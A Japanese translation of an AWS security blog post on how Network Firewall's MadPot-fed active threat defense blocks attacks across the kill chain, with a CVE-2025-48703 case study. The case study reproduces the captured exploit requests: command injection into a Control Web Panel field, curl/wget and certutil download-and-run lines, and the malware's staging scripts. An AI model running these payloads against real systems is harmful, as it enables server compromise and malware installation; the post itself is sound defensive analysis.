リアルタイムのマルウェア防御: AWS Network Firewall のアクティブ脅威防御の活用

本ブログは 2026 年 1 月 8 日に公開された AWS Blog “Real-time malware defense: Leveraging AWS Network Firewall active threat defense” を翻訳したものです。

サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、90 秒以内に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。

アクティブ脅威防御は、MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、Amazon GuardDuty による脅威検出と、AWS Network Firewall による能動的な保護を実現します。

ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。

アクティブ脅威防御の仕組み

MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。

図 1: アクティブ脅威防御の統合の概要

図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。

図 2: スイスチーズモデル

アクティブ脅威防御は、防御におけるスイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。

アクティブ脅威防御による攻撃キルチェーンの阻止

ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。

図 3: OAST 手法を使用した攻撃シナリオのフローの例

ステップ 0: インフラストラクチャの準備

攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。

ステップ 1: 標的の特定

脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。

ステップ 2: 脆弱性の確認

脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。

ステップ 3: OAST コールバック

脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。

ステップ 4: マルウェア配信の準備

脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。

ステップ 5: マルウェアのダウンロード

侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。

ステップ 6: C2 接続

仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。

ステップ 7: 攻撃目的の阻止

C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、Network Firewall のアラートログで追跡できます。

実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止

2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、Mythic C2 フレームワークをデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。

脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。

POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:49153
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 455

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/nginx
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

whoami /priv
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。

POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:8085
user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
content-length: 503
content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
accept-encoding: gzip
connection: close

--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="fileName"

.bashrc
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="currentPath"

/home/debian
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="recursive"

--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="t_total"

ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5--

脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。

POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:5704
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 539

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/cwp
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

(curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。

POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:49153
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 557

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/panel
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。

レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。

レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル (SHA256: 6ec153a1...) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。

@echo off
setlocal enabledelayedexpansion

set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true"
set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true"
set v="C:\Users\Public\350b0949tcp.exe"
del %v%
for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do (
    set "ARCH=64"
)
if "%ARCH%"=="64" (
    certutil.exe -urlcache -split -f %u64% %v%
) else (
    certutil.exe -urlcache -split -f %u32% %v%
)

start "" %v%
exit /b 0

Linux スクリプト (SHA256: bdf17b30...) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true"
l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true"
a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true"
a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true"

v="43b6f642tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
# [additional architecture checks]
fi

chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &)

レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。

MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。

仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。

このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。

つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログに追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。

まとめ

Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化を参照してください。

 
この記事に関するご質問は、AWS サポートにお問い合わせください。
 

本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。